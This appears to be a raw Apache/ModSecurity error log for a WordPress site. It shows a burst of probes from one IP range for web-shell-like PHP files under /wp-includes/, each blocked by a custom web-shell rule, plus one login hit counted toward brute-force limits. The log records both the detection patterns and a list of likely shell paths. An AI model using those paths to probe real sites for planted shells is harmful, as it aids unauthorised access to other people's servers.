[Sat Nov 22 05:13:19.366024 2025] [:error] [pid 53566:tid 53579] [client 194.5.82.161:52325] [client 194.5.82.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aSDV78bSHDBkRbwMbd4imgAAAMs"]
[Sat Nov 22 05:13:19.549670 2025] [:error] [pid 25856:tid 25879] [client 194.5.82.163:54409] [client 194.5.82.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aSDV7xsTP0wy94zKUvGU7gAAARU"]
[Sat Nov 22 05:13:19.762045 2025] [:error] [pid 53479:tid 53542] [client 194.5.82.147:59177] [client 194.5.82.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aSDV726cicFF3Aas-oRi2AAAAIY"]
[Sat Nov 22 05:13:20.048198 2025] [:error] [pid 25856:tid 25859] [client 194.5.82.117:63529] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aSDV8BsTP0wy94zKUvGU8QAAAQE"]
[Sat Nov 22 05:13:20.246282 2025] [:error] [pid 53566:tid 53583] [client 194.5.82.152:34883] [client 194.5.82.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aSDV8MbSHDBkRbwMbd4inAAAAM8"]
[Sat Nov 22 05:13:23.810900 2025] [:error] [pid 53566:tid 53578] [client 194.5.82.154:52217] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aSDV88bSHDBkRbwMbd4iqAAAAMo"]
[Sat Nov 22 05:13:24.044838 2025] [:error] [pid 53479:tid 53545] [client 194.5.82.155:43501] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aSDV9G6cicFF3Aas-oRi4QAAAIk"]
[Sat Nov 22 05:13:24.249716 2025] [:error] [pid 53478:tid 53524] [client 194.5.82.109:47137] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aSDV9AhUYdXBbQswAdT_zAAAAE8"]
[Sat Nov 22 05:13:26.090782 2025] [:error] [pid 53479:tid 53557] [client 194.5.82.155:60029] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aSDV9m6cicFF3Aas-oRi6QAAAJU"]
[Sat Nov 22 05:13:29.933661 2025] [:error] [pid 53477:tid 53504] [client 194.5.82.111:40375] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aSDV-X7Lu30Ku9O40aLLHQAAABc"]
[Sat Nov 22 05:13:30.168625 2025] [proxy_fcgi:error] [pid 53477:tid 53481] [client 194.5.82.117:37587] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:13:34.090282 2025] [:error] [pid 53477:tid 53503] [client 194.5.82.117:37587] [client 194.5.82.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.117, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aSDV_n7Lu30Ku9O40aLLMAAAABY"]
[Sat Nov 22 05:13:39.880212 2025] [:error] [pid 53477:tid 53497] [client 194.5.82.117:37587] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aSDWA37Lu30Ku9O40aLLTQAAABA"]
[Sat Nov 22 05:13:40.261475 2025] [:error] [pid 53566:tid 53577] [client 194.5.82.123:30817] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aSDWBMbSHDBkRbwMbd4i5AAAAMk"]
[Sat Nov 22 05:14:07.016801 2025] [:error] [pid 53566:tid 53572] [client 194.5.82.160:22881] [client 194.5.82.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSDWH8bSHDBkRbwMbd4jTAAAAMQ"]
[Sat Nov 22 05:14:07.359725 2025] [:error] [pid 25856:tid 25861] [client 194.5.82.131:40721] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aSDWHxsTP0wy94zKUvGVcwAAAQM"]
[Sat Nov 22 05:14:07.543848 2025] [:error] [pid 25856:tid 25869] [client 194.5.82.131:33433] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aSDWHxsTP0wy94zKUvGVdQAAAQs"]
[Sat Nov 22 05:14:17.083002 2025] [:error] [pid 53478:tid 53524] [client 194.5.82.135:54939] [client 194.5.82.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aSDWKQhUYdXBbQswAdQAVwAAAE8"]
[Sat Nov 22 05:14:17.339276 2025] [:error] [pid 25856:tid 25882] [client 194.5.82.119:20495] [client 194.5.82.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aSDWKRsTP0wy94zKUvGVlgAAARg"]
[Sat Nov 22 05:14:17.665733 2025] [:error] [pid 25856:tid 25868] [client 194.5.82.122:64721] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aSDWKRsTP0wy94zKUvGVlwAAAQo"]
[Sat Nov 22 05:14:23.200491 2025] [:error] [pid 53566:tid 53587] [client 194.5.82.111:28343] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aSDWL8bSHDBkRbwMbd4jdQAAANM"]
[Sat Nov 22 05:14:25.223566 2025] [:error] [pid 53477:tid 53503] [client 194.5.82.160:59213] [client 194.5.82.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aSDWMX7Lu30Ku9O40aLL-AAAABY"]
[Sat Nov 22 05:14:28.828827 2025] [:error] [pid 53566:tid 53573] [client 194.5.82.123:44285] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aSDWNMbSHDBkRbwMbd4jiwAAAMU"]
[Sat Nov 22 05:14:41.670480 2025] [:error] [pid 53478:tid 53521] [client 194.5.82.136:38125] [client 194.5.82.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSDWQQhUYdXBbQswAdQAnQAAAEw"]
[Sat Nov 22 05:14:45.373353 2025] [:error] [pid 53477:tid 53488] [client 194.5.82.170:34167] [client 194.5.82.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSDWRX7Lu30Ku9O40aLMKQAAAAc"]
[Sat Nov 22 05:14:54.793384 2025] [:error] [pid 53479:tid 53550] [client 194.5.82.109:24129] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aSDWTm6cicFF3Aas-oRkCwAAAI4"]
[Sat Nov 22 05:14:58.648760 2025] [:error] [pid 53479:tid 53559] [client 194.5.82.124:34553] [client 194.5.82.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aSDWUm6cicFF3Aas-oRkHAAAAJc"]
[Sat Nov 22 05:15:06.190102 2025] [:error] [pid 25856:tid 25870] [client 194.5.82.144:45821] [client 194.5.82.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aSDWWhsTP0wy94zKUvGWTgAAAQw"]
[Sat Nov 22 05:15:15.159311 2025] [:error] [pid 53566:tid 53589] [client 194.5.82.114:25677] [client 194.5.82.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aSDWY8bSHDBkRbwMbd4kFgAAANU"]
[Sat Nov 22 05:15:20.187335 2025] [:error] [pid 53477:tid 53502] [client 194.5.82.118:33273] [client 194.5.82.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aSDWaH7Lu30Ku9O40aLMiAAAABU"]
[Sat Nov 22 05:15:20.386676 2025] [:error] [pid 53479:tid 53550] [client 194.5.82.159:43377] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aSDWaG6cicFF3Aas-oRkfAAAAI4"]
[Sat Nov 22 05:15:30.756057 2025] [:error] [pid 53477:tid 53486] [client 194.5.82.136:25381] [client 194.5.82.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aSDWcn7Lu30Ku9O40aLMqAAAAAU"]
[Sat Nov 22 05:15:39.943879 2025] [:error] [pid 25856:tid 25872] [client 194.5.82.146:58553] [client 194.5.82.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aSDWexsTP0wy94zKUvGWzAAAAQ4"]
[Sat Nov 22 05:15:47.007752 2025] [:error] [pid 53478:tid 53522] [client 194.5.82.137:47681] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aSDWgwhUYdXBbQswAdQBcgAAAE0"]
[Sat Nov 22 05:15:47.244008 2025] [:error] [pid 53478:tid 53527] [client 194.5.82.128:64785] [client 194.5.82.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aSDWgwhUYdXBbQswAdQBdAAAAFI"]
[Sat Nov 22 05:15:51.088911 2025] [:error] [pid 53566:tid 53587] [client 194.5.82.116:27899] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aSDWh8bSHDBkRbwMbd4kdAAAANM"]
[Sat Nov 22 05:15:54.842771 2025] [:error] [pid 53478:tid 53512] [client 194.5.82.138:62959] [client 194.5.82.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aSDWighUYdXBbQswAdQBkQAAAEM"]
[Sat Nov 22 05:15:55.050833 2025] [:error] [pid 53478:tid 53525] [client 194.5.82.125:41179] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aSDWiwhUYdXBbQswAdQBkgAAAFA"]
[Sat Nov 22 05:16:04.322302 2025] [:error] [pid 53477:tid 53482] [client 194.5.82.111:32691] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aSDWlH7Lu30Ku9O40aLM-AAAAAE"]
[Sat Nov 22 05:16:08.220775 2025] [:error] [pid 53477:tid 53489] [client 194.5.82.107:63593] [client 194.5.82.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aSDWmH7Lu30Ku9O40aLNBQAAAAg"]
[Sat Nov 22 05:16:08.449816 2025] [:error] [pid 53477:tid 53482] [client 194.5.82.131:39535] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aSDWmH7Lu30Ku9O40aLNBgAAAAE"]
[Sat Nov 22 05:16:12.112032 2025] [:error] [pid 53477:tid 53489] [client 194.5.82.117:54345] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aSDWnH7Lu30Ku9O40aLNFQAAAAg"]
[Sat Nov 22 05:16:14.180791 2025] [:error] [pid 53478:tid 53527] [client 194.5.82.159:53731] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aSDWnghUYdXBbQswAdQBzQAAAFI"]
[Sat Nov 22 05:16:22.750111 2025] [:error] [pid 53478:tid 53514] [client 194.5.82.106:60691] [client 194.5.82.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aSDWpghUYdXBbQswAdQB8AAAAEU"]
[Sat Nov 22 05:16:24.856483 2025] [:error] [pid 53479:tid 53539] [client 194.5.82.135:38205] [client 194.5.82.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aSDWqG6cicFF3Aas-oRlawAAAIM"]
[Sat Nov 22 05:16:28.453872 2025] [:error] [pid 53478:tid 53527] [client 194.5.82.106:52861] [client 194.5.82.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aSDWrAhUYdXBbQswAdQCFwAAAFI"]
[Sat Nov 22 05:16:31.588687 2025] [:error] [pid 25856:tid 25881] [client 194.5.82.146:64179] [client 194.5.82.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/as.php"] [unique_id "aSDWrxsTP0wy94zKUvGXSgAAARc"]
[Sat Nov 22 05:16:33.451115 2025] [:error] [pid 53477:tid 53499] [client 194.5.82.109:26509] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aSDWsX7Lu30Ku9O40aLNTgAAABI"]
[Sat Nov 22 05:16:33.692244 2025] [:error] [pid 25856:tid 25878] [client 194.5.82.134:57275] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/install.php"] [unique_id "aSDWsRsTP0wy94zKUvGXTwAAARQ"]
[Sat Nov 22 05:16:34.046245 2025] [:error] [pid 53479:tid 53548] [client 194.5.82.119:24511] [client 194.5.82.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aSDWsm6cicFF3Aas-oRlewAAAIw"]
[Sat Nov 22 05:16:44.512879 2025] [:error] [pid 53479:tid 53560] [client 194.5.82.120:47493] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aSDWvG6cicFF3Aas-oRlnQAAAJg"]
[Sat Nov 22 05:16:48.660256 2025] [:error] [pid 53478:tid 53525] [client 194.5.82.109:20573] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aSDWwAhUYdXBbQswAdQCYAAAAFA"]
